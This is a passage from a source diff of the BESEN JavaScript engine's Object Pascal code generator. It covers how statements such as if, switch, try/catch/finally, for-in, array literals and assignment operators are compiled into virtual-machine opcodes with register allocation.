Code.GenOp(bopSENUM,r4); + r5:=CodeGeneratorContext.AllocateRegister; + CodeGeneratorContext.BlockEnter; + CodeGeneratorContext.PushPatchables(TBESENASTNodeForInStatement(ToVisit).Target,true); + P1:=Code.GenOp(bopJMP,0)+1; + L1:=Code.Here; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + r1:=-1; + Visit(TBESENASTNodeForInStatement(ToVisit).Variable,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + Code.GenOp(bopCOPY,r1,r5); + end else begin + Code.GenOp(bopPUTVALUE,r1,r5); + end; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeForInStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + L2:=Code.Here; + Code.GenLabel(P1); + Code.GenOp(bopLOOPENUM,L1,r5); + L3:=Code.Here; + Code.GenLabel(P2); + CodeGeneratorContext.PopPatchables(L2,L3); + Code.GenOp(bopEND,CodeGeneratorContext.BlockCurrent); + CodeGeneratorContext.BlockLeave; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + CodeGeneratorContext.DeallocateRegister(r5); + CodeGeneratorContext.DeallocateRegister(r6); + end; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + dec(CodeGeneratorContext.LoopDepth); + end; + bntIFSTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + if OptimizeLocals and not (HasLabelBreakContinue(TBESENASTNodeIfStatement(ToVisit).TrueStatement) or HasLabelBreakContinue(TBESENASTNodeIfStatement(ToVisit).FalseStatement)) then begin + PR:=Code.Here; + + vta:=CodeGeneratorContext.VariableGetTypes; + + Code.GenLocation(ToVisit.Location); + r1:=-1; + Visit(TBESENASTNodeIfStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + L1:=Code.GenOp(bopJNZERO,0,r3)+1; + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + L1:=Code.GenOp(bopJZ,0,r3)+1; + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + + vtb:=CodeGeneratorContext.VariableGetTypes; + + Visit(TBESENASTNodeIfStatement(ToVisit).FalseStatement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + if IsBreakContinueReturnNode(TBESENASTNodeIfStatement(ToVisit).FalseStatement) then begin + vtc:=copy(vtb,0,length(vtb)); + end else begin + vtc:=CodeGeneratorContext.VariableGetTypes; + end; + L2:=Code.GenOp(bopJMP,0)+1; + + Code.GenLabel(L1); + CodeGeneratorContext.VariableSetTypes(vtb); + Visit(TBESENASTNodeIfStatement(ToVisit).TrueStatement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + if IsBreakContinueReturnNode(TBESENASTNodeIfStatement(ToVisit).TrueStatement) then begin + vtd:=copy(vtb,0,length(vtb)); + end else begin + vtd:=CodeGeneratorContext.VariableGetTypes; + end; + + Code.GenLabel(L2); + + vte:=copy(vtc,0,length(vtc)); + if not AreStrictValueTypesEqual(vte,vtd) then begin + ResetDifferentValueTypes(vte,vtd); + end; + + CodeGeneratorContext.VariableSetTypes(vte); + end else begin + // The if-statmente body contains break/continue or it's extremly type instable global code + Code.GenLocation(ToVisit.Location); + r1:=-1; + Visit(TBESENASTNodeIfStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + L1:=Code.GenOp(bopJNZERO,0,r3)+1; + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + L1:=Code.GenOp(bopJZ,0,r3)+1; + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + vta:=CodeGeneratorContext.VariableGetTypes; + Visit(TBESENASTNodeIfStatement(ToVisit).FalseStatement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + L2:=Code.GenOp(bopJMP,0)+1; + Code.GenLabel(L1); + CodeGeneratorContext.VariableSetTypes(vta); + Visit(TBESENASTNodeIfStatement(ToVisit).TrueStatement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + Code.GenLabel(L2); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + end; + end; + bntLABELLEDSTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLocation(ToVisit.Location); + CodeGeneratorContext.PushPatchables(TBESENASTNodeLabelledStatement(ToVisit).Target,false); + Visit(TBESENASTNodeLabelledStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + L1:=Code.Here; + CodeGeneratorContext.PopPatchables(-1,L1); + end; + bntCASESTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Code.GenLocation(ToVisit.Location); + for Counter:=0 to length(TBESENASTNodeCaseStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeCaseStatement(ToVisit).Statements[Counter],DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + end; + end; + bntSWITCHSTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLocation(ToVisit.Location); + SetLength(SwitchPatches,length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)); + r1:=-1; + Visit(TBESENASTNodeSwitchStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + for Counter:=0 to length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)-1 do begin + if assigned(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter].Expression) then begin + r3:=-1; + Visit(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter].Expression,r3,true); + if r3<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r3) then begin + r4:=r3; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r3,r4); + end; + r5:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopSEQ,r5,r2,r4); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + SwitchPatches[Counter]:=Code.GenOp(bopJZ,0,r5)+1; + CodeGeneratorContext.DeallocateRegister(r5); + end; + end; + L1:=Code.GenOp(bopJMP,0)+1; + CodeGeneratorContext.PushPatchables(TBESENASTNodeSwitchStatement(ToVisit).Target,false); + DefaultCase:=false; + for Counter:=0 to length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)-1 do begin + if assigned(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter].Expression) then begin + Code.GenLabel(SwitchPatches[Counter]); + end else begin + Code.GenLabel(L1); + DefaultCase:=true; + end; + Visit(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter],DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + end; + if not DefaultCase then begin + Code.GenLabel(L1); + end; + SetLength(SwitchPatches,0); + CodeGeneratorContext.PopPatchables(-1,Code.Here); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + CodeGeneratorContext.DeallocateRegister(r5); + CodeGeneratorContext.DeallocateRegister(r6); + end; + bntTHROWSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + if assigned(TBESENASTNodeThrowStatement(ToVisit).Expression) then begin + r1:=-1; + Visit(TBESENASTNodeThrowStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + Code.GenOp(bopTHROW,r2); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + bntTRYSTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLocation(ToVisit.Location); + if assigned(TBESENASTNodeTryStatement(ToVisit).TryBlock) then begin + if assigned(TBESENASTNodeTryStatement(ToVisit).CatchBlock) and assigned(TBESENASTNodeTryStatement(ToVisit).FinallyBlock) then begin + L1:=Code.GenOp(bopSTRYF,0)+1; + CodeGeneratorContext.BlockEnter; + r1:=CodeGeneratorContext.AllocateRegister; + Code.GenLiteral(BESENStringValue(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name),r1); + L2:=Code.GenOp(bopSTRYC,0,r1)+1; + CodeGeneratorContext.BlockEnter; + Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + L3a:=Code.GenOp(bopJMP,0)+1; + Code.GenLabel(L2); + InScope:=CodeGeneratorContext.IsVariableInScope(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name); + if InScope then begin + CodeGeneratorContext.VariableSetScope(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name,false,false,-1); + end; + Code.GenOp(bopSCATCH); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchBlock,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + if InScope then begin + CodeGeneratorContext.VariableSetScope(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name,true,false,-1); + CodeGeneratorContext.VariableSetType(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name,bvtUNDEFINED); + end; + L3b:=Code.GenOp(bopJMP,0)+1; + CodeGeneratorContext.BlockLeave; + Code.GenLabel(L1); + if not Code.Body.IsFunction then begin + Code.GenOp(bopGETC,r1); + end; + if CodeGeneratorContext.MaxBlockDepth>CodeGeneratorContext.BlockCurrent then begin + Code.GenOp(bopEND,CodeGeneratorContext.BlockCurrent+1); + end; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeTryStatement(ToVisit).FinallyBlock,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + if not Code.Body.IsFunction then begin + GenSetC(r1); + end; + Code.GenOp(bopENDF); + Code.GenLabel(L3a); + Code.GenLabel(L3b); + Code.GenOp(bopEND,CodeGeneratorContext.BlockCurrent); + CodeGeneratorContext.BlockLeave; + CodeGeneratorContext.DeallocateRegister(r1); + end else if assigned(TBESENASTNodeTryStatement(ToVisit).CatchBlock) then begin + r1:=CodeGeneratorContext.AllocateRegister; + Code.GenLiteral(BESENStringValue(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name),r1); + L1:=Code.GenOp(bopSTRYC,0,r1)+1; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.BlockEnter; + Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + L2:=Code.GenOp(bopJMP,0)+1; + Code.GenLabel(L1); + InScope:=CodeGeneratorContext.IsVariableInScope(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name); + if InScope then begin + CodeGeneratorContext.VariableSetScope(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name,false,false,-1); + end; + Code.GenOp(bopSCATCH); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchBlock,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + if InScope then begin + CodeGeneratorContext.VariableSetScope(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name,true,false,-1); + CodeGeneratorContext.VariableSetType(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier.Name,bvtUNDEFINED); + end; + Code.GenLabel(L2); + Code.GenOp(bopEND,CodeGeneratorContext.BlockCurrent); + CodeGeneratorContext.BlockLeave; + end else if assigned(TBESENASTNodeTryStatement(ToVisit).FinallyBlock) then begin + L1:=Code.GenOp(bopSTRYF,0)+1; + CodeGeneratorContext.BlockEnter; + Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + L2:=Code.GenOp(bopJMP,0)+1; + Code.GenLabel(L1); + r1:=CodeGeneratorContext.AllocateRegister; + if not Code.Body.IsFunction then begin + Code.GenOp(bopGETC,r1); + end; + if CodeGeneratorContext.MaxBlockDepth>CodeGeneratorContext.BlockCurrent then begin + Code.GenOp(bopEND,CodeGeneratorContext.BlockCurrent+1); + end; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeTryStatement(ToVisit).FinallyBlock,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + if not Code.Body.IsFunction then begin + GenSetC(r1); + end; + Code.GenOp(bopENDF); + Code.GenLabel(L2); + Code.GenOp(bopEND,CodeGeneratorContext.BlockCurrent); + CodeGeneratorContext.BlockLeave; + CodeGeneratorContext.DeallocateRegister(r1); + end; + end; + end; + bntARRAYLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=CodeGeneratorContext.AllocateRegister; + r2:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopARRAY,r1); + Code.GenOp(bopNEW,DestRegNr,r1,0); + for Counter:=0 to length(TBESENASTNodeArrayLiteral(ToVisit).Elements)-1 do begin + if assigned(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]) then begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenLiteral(BESENStringValue(inttostr(Counter)),r3); + r4:=-1; + Visit(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter],r4,true); + if r4<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r4) or IsLocalVariableReference(r4) then begin + r5:=r4; + end else begin + r5:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r4,r5); + end; + Code.GenOp(bopPUTOBJVALUE,DestRegNr,r3,r5); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + CodeGeneratorContext.DeallocateRegister(r5); + end; + end; + r3:=CodeGeneratorContext.AllocateRegister; + v:=BESENStringValue('length'); + Code.GenLiteral(v,r3); + r4:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopREF,r4,DestRegNr,r3,TBESEN(Instance).KeyIDManager.LengthID,BESENLengthHash,Code.GenPolymorphicInlineCacheInstruction,-1,-1,-1,-1); + r5:=CodeGeneratorContext.AllocateRegister; + Code.GenLiteral(BESENNumberValue(length(TBESENASTNodeArrayLiteral(ToVisit).Elements)),r5); + Code.GenOp(bopPUTVALUEREF,r4,r5); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + CodeGeneratorContext.DeallocateRegister(r5); + CodeGeneratorContext.DeallocateRegister(r6); + end; + bntBINARYEXPRESSION:begin + end; + bntASSIGNMENTEXPRESSION:begin + if IsNodeLocalVarReg(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression,r1) then begin + r1:=-1; + Visit(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression,r1,true); + r2:=-1; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + P1:=Code.Here; + vtb:=CodeGeneratorContext.VariableGetTypes; + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r2) then begin + GenGetValue(r2,r1); + AssignSetWhatType(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression,CodeGeneratorContext.Registers[r1].IsWhat); + end else if IsValue(r2) then begin + CodeGeneratorContext.DeallocateRegister(r2); + r2:=r1; + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(P1); + CodeGeneratorContext.VariableSetTypes(vtb); + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression,r2,true); + AssignSetWhatType(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression,CodeGeneratorContext.Registers[r2].IsWhat); + end else begin + GenGetValue(r2,r1); + AssignSetWhatType(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression,CodeGeneratorContext.Registers[r1].IsWhat); + end; + CodeGeneratorContext.Registers[r1].IsWhat:=bcgtREFERENCE; + if CalleeNeedReturnedValue or (DestRegNr>=0) then begin + if DestRegNr<0 then begin + DestRegNr:=r1; + end else begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,DestRegNr); + end; + end; + CodeGeneratorContext.DeallocateRegister(r2); + end else begin + r1:=-1; + end; + if r1<0 then begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + vta:=CodeGeneratorContext.VariableGetTypes; + PR:=Code.Here; + r1:=-1; + Visit(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsPrimitive(r1) then begin + raise EBESENReferenceError.Create('Left hand side must be a reference'); + end; + r2:=-1; + P1:=Code.Here; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + vtb:=CodeGeneratorContext.VariableGetTypes; + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r2) then begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtUNDEFINED; + GenGetValue(r2,DestRegNr); + if not IsValue(DestRegNr) then begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + end; + end else if IsValue(r2) then begin + CodeGeneratorContext.DeallocateRegister(r2); + Code.Restore(P1); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + CodeGeneratorContext.VariableSetTypes(vtb); + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression,DestRegNr,true); + r2:=DestRegNr; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=CodeGeneratorContext.Registers[r2].IsWhat; + end else begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtUNDEFINED; + GenGetValue(r2,DestRegNr); + if not IsValue(DestRegNr) then begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + end; + end; + AssignSetWhatType(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + if (not DoHasLocalDelete) and (((CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0) and + CodeGeneratorContext.Registers[r1].IsLocal) and + ((TBESENASTNodeAssignmentExpression(ToVisit).RightExpression.NodeType=bntIDENTIFIER) and + (((CodeGeneratorContext.Registers[r2].IsWhat and bcgtREFERENCE)<>0) and + CodeGeneratorContext.Registers[r2].IsLocal)) then begin + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + r2:=-1; + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + GenGetValueEx(r2,DestRegNr); + if IsValueBoolean(r2) then begin + GenPutValueEx(r1,DestRegNr,bvtBOOLEAN); + end else if IsValueNumber(r2) then begin + GenPutValueEx(r1,DestRegNr,bvtNUMBER); + end else if IsValueString(r2) then begin + GenPutValueEx(r1,DestRegNr,bvtSTRING); + end else if IsValueObject(r2) then begin + GenPutValueEx(r1,DestRegNr,bvtOBJECT); + end else begin + GenPutValueEx(r1,DestRegNr); + end; + end else begin + if ((CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)=0) or not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + if IsValueBoolean(r2) then begin + GenPutValue(r1,DestRegNr,bvtBOOLEAN); + end else if IsValueNumber(r2) then begin + GenPutValue(r1,DestRegNr,bvtNUMBER); + end else if IsValueString(r2) then begin + GenPutValue(r1,DestRegNr,bvtSTRING); + end else if IsValueObject(r2) then begin + GenPutValue(r1,DestRegNr,bvtOBJECT); + end else begin + GenPutValue(r1,DestRegNr); + end; + end; + if r1<>DestRegNr then begin + CodeGeneratorContext.DeallocateRegister(r1); + end; + if r2<>DestRegNr then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + end; + bntASSIGNMENTOPERATOREXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsPrimitive(r1) then begin + raise EBESENReferenceError.Create('Left hand side must be a reference'); + end; + r2:=-1; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) then begin + if IsValueBoolean(r2) then begin + Code.GenOp(bopCOPYBOOL,DestRegNr,r2); + end else if IsValueNumber(r2) then begin + Code.GenOp(bopCOPYNUM,DestRegNr,r2); + end else if IsValueString(r2) then begin + Code.GenOp(bopCOPYSTR,DestRegNr,r2); + end else if IsValueObject(r2) then begin + Code.GenOp(bopCOPYOBJ,DestRegNr,r2); + end else begin + Code.GenOp(bopCOPY,DestRegNr,r2); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=CodeGeneratorContext.Registers[r2].IsWhat; + end else begin + GenGetValue(r2,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + end; + AssignSetWhatType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + if ((CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)=0) or not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF); + end; + AssignOpPost(false,false,true); + end; + bntASSIGNMENTMULTIPLYEXPRESSION:begin + AssignOpPre; + Code.GenOp(bopMUL,DestRegNr,r3,r4); + AssignOpPost(true,false,false); + end; + bntASSIGNMENTDIVIDEEXPRESSION:begin + AssignOpPre; + Code.GenOp(bopDIV,DestRegNr,r3,r4); + AssignOpPost(true,false,false); + end; + bntASSIGNMENTMODULOEXPRESSION:begin + AssignOpPre; + Code.GenOp(bopMOD,DestRegNr,r3,r4); + AssignOpPost(true,false,false); + end; + bntASSIGNMENTPLUSEXPRESSION:begin + AssignOpAddPre; + if IsValueNumber(r1) and IsValueNumber(r2) then begin + Code.GenOp(bopADDNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopADD,DestRegNr,r3,r4); + end; + if IsValueString(r1) or IsValueString(r2) then begin + AssignOpPost(false,true,false); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + end else if IsValueNumber(r1) and IsValueNumber(r2) then begin + AssignOpPost(true,false,false); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end else begin + AssignOpPost(false,false,false); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING or bcgtNUMBER; + end; + AssignSetWhatType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + end; + bntASSIGNMENTMINUSEXPRESSION:begin + AssignOpPre; + Code.GenOp(bopSUB,DestRegNr,r3,r4); + AssignOpPost(true,false,false); + end; + bntASSIGNMENTSHIFTLEFTEXPRESSION:begin + AssignOpShiftPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopSHLBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopSHLNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopSHL,DestRegNr,r3,r4); + end; + AssignOpPost(true,false,false); + end; + bntASSIGNMENTSHIFTRIGHTEXPRESSION:begin + AssignOpShiftPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopSHRBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopSHRNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopSHR,DestRegNr,r3,r4); + end; + AssignOpPost(true,false,false); + end; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION:begin + AssignOpShiftPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopSHRBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopUSHRNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopUSHR,DestRegNr,r3,r4); + end; + AssignOpPost(true,false,false); + end; + bntASSIGNMENTBITWISEANDEXPRESSION:begin + AssignOpPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopBANDBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopBANDNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopBAND,DestRegNr,r3,r4); + end; + AssignOpPost(true,false,false); + end; + bntASSIGNMENTBITWISEXOREXPRESSION:begin + AssignOpPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopBXORBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopBXORNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopBXOR,DestRegNr,r3,r4); + end; + AssignOpPost(true,false,false); + end; + bntASSIGNMENTBITWISEOREXPRESSION:begin + AssignOpPre; + if IsValueBoolean(r3) or IsValueBoolean(r4) then begin + Code.GenOp(bopBORBOOL,DestRegNr,r3,r4); + end else if IsValueNumber(r3) or IsValueNumber(r4) then begin + Code.GenOp(bopBORNUM,DestRegNr,r3,r4); + end else begin + Code.GenOp(bopBOR,DestRegNr,r3,r4); + end; + AssignOpPost(true,false,false); + end; + bntBINARYOPERATOREXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if not IsValue(r1) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + end; + CodeGeneratorContext.DeallocateRegister(r1); + r1:=-1; + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) then begin + if IsValueBoolean(r1) then begin + Code.GenOp(bopCOPYBOOL,DestRegNr,r1); + end else if IsValueNumber(r1) then begin + Code.GenOp(bopCOPYNUM,DestRegNr,r1); + end else if IsValueString(r1) then begin + Code.GenOp(bopCOPYSTR,DestRegNr,r1); + end else if IsValueObject(r1) then begin + Code.GenOp(bopCOPYOBJ,DestRegNr,r1); + end else begin + Code.GenOp(bopCOPY,DestRegNr,r1); + end; + end else begin + GenGetValue(r1,DestRegNr); + end; + if IsValue(r1) then begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=CodeGeneratorContext.Registers[r1].IsWhat; + end else begin + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + end; + CodeGeneratorContext.DeallocateRegister(r1); + end; + bntBINARYCOMMAEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + 